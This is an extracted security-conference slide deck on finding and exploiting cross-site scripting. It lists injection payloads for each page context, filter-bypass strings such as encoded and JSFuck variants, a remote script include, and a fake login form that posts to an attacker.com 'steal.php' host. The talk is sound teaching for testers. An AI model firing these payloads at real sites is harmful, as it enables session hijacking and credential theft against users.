The document discusses Cross-Site Scripting (XSS) vulnerabilities, emphasizing how they can be exploited through malicious JavaScript code to access sensitive user information. It outlines methods for discovering and testing these vulnerabilities, along with common protection mechanisms and potential bypass techniques. The document includes real-world examples and provides testing and sanitization strategies for mitigating the risks associated with XSS attacks.

1. Non-Esoteric XSSNon-Esoteric XSS
Tips & TricksTips & Tricks
Miroslav Štampar
(mstampar@zsis.hr; miroslav@sqlmap.org)
Non-Esoteric XSSNon-Esoteric XSS
Tips & TricksTips & Tricks
Miroslav Štampar
(mstampar@zsis.hr; miroslav@sqlmap.org)

2. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 2
XSS (Cross-Site Scripting)XSS (Cross-Site Scripting)
Injection attack against usersagainst users of (otherwise)
benign and trusted web sites
Used mostly in targetedtargeted attacks (e.g. spear-
phishing against administrators)
For example, an attacker can send a link with
malicious JavascriptJavascript (JS) code to an
unsuspecting user
The user’s browser has no way to know that
the link should not be trusted and will execute
the JS blindly – effectively giving access to
cookies, session tokens or other sensitive
information within browsing contextwithin browsing context

3. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 3
Real-world (known) casesReal-world (known) cases

4. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 4
More about vulnerabilityMore about vulnerability
Considered as criticalcritical vulnerability, hence
(often) well paid in bug bounty programs
Failure to (properly) sanitize/filtersanitize/filter any of: <, >,
', " inside the response can introduce the
vulnerability
While testing, responses for user supplied values
are being inspected for signs of the vulnerability
(e.g. response returning values in originaloriginal form)
Provoking JS pop-up boxpop-up box with custom message
(e.g. XSS) is universally accepted as a Proof of
Concept (PoC) for existence of vulnerability
Types: storedstored (persisting), reflectedreflected
(temporary) and DOM-basedDOM-based (in-browser)

5. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 5
Food for thought :)Food for thought :)

6. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 6
Testing workflowTesting workflow
1) Find reflecting inputinput points
(e.g. page's GET parameter values)
2) Recognize contextcontext of reflection
(e.g. inside <script>...</script>)
3) BypassBypass sanitization/filtering and/or
protection mechanism(s)
(Note: if possible and/or required)
4) Write vulnerability exploitation PoCPoC
(e.g. ...alert('XSS')...)

7. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 7
Practical example (PoC)Practical example (PoC)

8. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 8
Protection mechanism(s)Protection mechanism(s)
Common (XSS) detection regular expressions:
●
/<[a­z]/i - (e.g.) <svg, <img - though, there are
cases where “benign” tags as <a> are left un-
blacklisted
●
/b(java)?scriptb/i - (e.g.) <script, <img
src="javascript:, etc.
●
/bonw+s*=/i - (e.g.) <img src=null
onerror=... - though, there are cases where
<marquee's onstart( is left un-blacklisted
●
/bsrcs*=/i - (e.g.) <embed src=..., etc.
●
/bw+(/i - (e.g.) alert( - though, there are
cases where confirm( is left un-blacklisted

9. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 9
Sanitization mechanism(s)Sanitization mechanism(s)
Common (XSS) server response sanitizations:
●
Removing all special characters - (e.g.)
foo<'">bar → foobar
●
Replacing with whitespace all special characters -
(e.g.) foo<'">bar → foo bar
●
HTML named entity encoding - (e.g.) foo<'">bar
→ foo&lt;&apos;&quot;&gt;bar
●
HTML numeric code point encoding - (e.g.)
foo<'">bar → foo&#60;&#39;&#34;&#62;bar
●
Backslash escaping all special characters - (e.g.)
foo<'">bar → foo<'">bar (Note: <script>)
●
Uppercase conversion - (e.g.) foo<'">bar →
FOO'"BAR (combined with another mechanism(s))

10. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 10
Break-out of <tag...> context with > OR onXXX
event handler injection
?vuln="><svg onload=alert(/XSS/)>
?vuln=" onclick="alert(/XSS/)
Usability is highly dependent on context and
available <tag> events
(e.g.) Tags having visibility: hidden require
breaking out of <tag...> context
<tag...><tag...> ((|more|more))

11. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 11
<tag...><tag...> ((|more|more))
Even though attacker's options inside <tag> are
pretty narrowed (e.g. user interaction
required), (ab)using CSS with style can help
?vuln=" onmouseover=alert(/XSS/)
style="display: block; position: absolute;
left: 0; top: 0; height: 10000px; width:
10000px; opacity: 0; cursor: default

12. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 12
>...<>...<
Injecting outside of <tag> context and/or scope
(e.g. </script>...) requires unfiltered < and >
Proper “Content­type” (e.g. “text/html”) is
required, as in all XSS (reflected) cases (e.g.
“application/json” is of no interest)
?vuln=<img src=null onerror=alert(/XSS/)>
?vuln=<script>alert(/XSS/)</script>

13. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 13
<!­­...­­><!­­...­­>
Requires breaking-out of <!­­...­­> (i.e. HTML
comment) context with ­­>
Common for (custom) sites with debugging
support turned ON (e.g. returning used SQL
query inside comment)
?vuln=­­><svg onload=alert(/XSS/)>
As it explicitly requires usage of <tag> it is
fairly common to end up as unexploitable (e.g.
protections are trigger happy on occurrence(s)
of <[a­zA­Z] inside parameter values)

14. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 14
<frame ...><frame ...>
Injecting custom <frame> OR onload event
handler injection (prefered)
?vuln="><frame
src="data:text/html;base64,PHNjcmlwdD5hbGVy
dCgnWFNTJyk8L3NjcmlwdD4
?vuln=" onload="alert(/XSS/)
Note: Non-<frame> tags can't be used because
of <frameset> restrictions

15. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 15
<iframe...><iframe...>
Break-out of <iframe...> context OR onload
event handler injection (prefered)
?vuln="></iframe><svg onload=alert(
/XSS/)>
?vuln=" onload="alert(/XSS/)

16. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 16
<input...><input...>
Break-out of <input...> context with > OR
onfocus event handler injection (prefered)
?vuln=1"><svg onload=alert(/XSS/)>
?vuln=1" autofocus onfocus="alert(/XSS/)

17. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 17
<input type<input type="hidden"="hidden"...>...>
In hidden <input> cases, combined with
inability to break-out of <input...> context
(due to filtering of <>), regular onXXX event
handler injection doesn't work
Though, accesskey attribute can be (ab)used to
make the user-assisted XSS payload (Alt­
Shift­<key>)
?vuln=" accesskey="X" onclick="alert(
/XSS/)

18. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 18
<script>...</script><script>...</script>
Break-out of <script>...</script> with
</script> OR in-place JS injection (prefered)
?vuln=</script><svg onload=alert(/XSS/)>
?vuln=foobar');alert('XSS');var dummy=('
Common in third-party advertisement plugins
Note: In-place JS injection doesn't require <>,
though it requires unfiltered ' or " in majority
of cases (interpreter syntax checksinterpreter syntax checks)

19. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 19
echo $_SERVER['PHP_SELF']echo $_SERVER['PHP_SELF']
Common finding even on top sites and/or
frameworks
Non-sanitized reference of current script's path
http://...php/"><svg onload="alert(/XSS/)
Not PHP-specific (though more common)
Note: JS injection in path often require manual
URL encoding of non-alphanumeric characters

20. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 20
<meta><meta>
Often mislooked, though easy to exploit
Top sites tend to utilize lots of metadata
?vuln="><script>alert(/XSS/)</script>
?vuln=0;url=data:text/html;base64,
PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4"
http­equiv="refresh

21. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 21
<textarea> <textarea> andand <title> <title>
Injection into <textarea> and <title>
enclosings require explicit (respectable)
closing tagsclosing tags (i.e. </textarea> and </title>)
Important to note because of automatized
scanners (majority don't check the context)
<style> is also problematic, though in case of
Internet Explorer CSS expression can be
(ab)used
?vuln=</textarea><svg onload=alert(/XSS/)>

22. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 22
$_POST$_POST
Though not exploitable directly from link (i.e.
address bar), it is a perfectly valid attack point
Requires malicious HTMLmalicious HTML document that has
to be loaded inside the victim's web browser
Either a standalone HTML OR a link that points
to the attacker's site hosting the HTML
document

23. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 23
Protection(s) bypasses (Protection(s) bypasses (|more|more))
<svg/onload=alert(/XSS/)>
prompt`XSS`
onerror=confirm;throw/XSS/;
document.write(String.fromCharCode(60,
115,99,114,105,112,116,62,97,...
[][(![]+[])[+[]]+([![]]+[][... // JSFuck
<SCRIPT SRC=//DOMAIN.COM/XSS.JS></SCRIPT>
<embed src=data:image/svg+xml;base64,
PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cuM...
<object data=data:text/html;base64,...
<video/poster/onerror=alert(/XSS/)>
</i/style=left:expression(alert('XSS'))>

24. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 24
Protection(s) bypasses (Protection(s) bypasses (|more|more))
<iframe src=javascript:alert('XSS')>
<isindex type=submit formaction=&#106
&#97&#118&#97&#115&#99&#114&#105&#112...
<isindex type=image src=null
onerror=alert(/XSS/)>
<iframe/srcdoc=&lt;svg&sol;onload&equals;
alert&lpar;&quot;XSS&quot;&rpar;&gt;>
<img src=null
onerror=u0061u006cu0065u0072u0074&lpar
;&quot;u0058u0053u0053&quot;&rpar;>
<body style=height:9999px
onwheel=prompt(/XSS/)>
<marquee onstart=confirm(/XSS/)>

25. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 25
In cases when Javascript injection (i.e. XSS) is
not possible, HTML injection is also a valid
attack point – though, not as valuable
Most common scenario is the usage of
protection mechanism(s), while lacking any
sanitization/filtering whatsoever
“Evil link” scenario – (e.g.)
“Fake login” scenario – (e.g.) <form
action="//www.attacker.com/steal.php">...
“Fake defacement” scenario – (e.g.) <h1>This
site has been hacked by l33tcr3w</h1>
p.s. HTML injectionp.s. HTML injection

26. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 26
www.openbugbounty.org
html5sec.org
p.p.s. Recommended resourcesp.p.s. Recommended resources

27. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 27
Questions?Questions?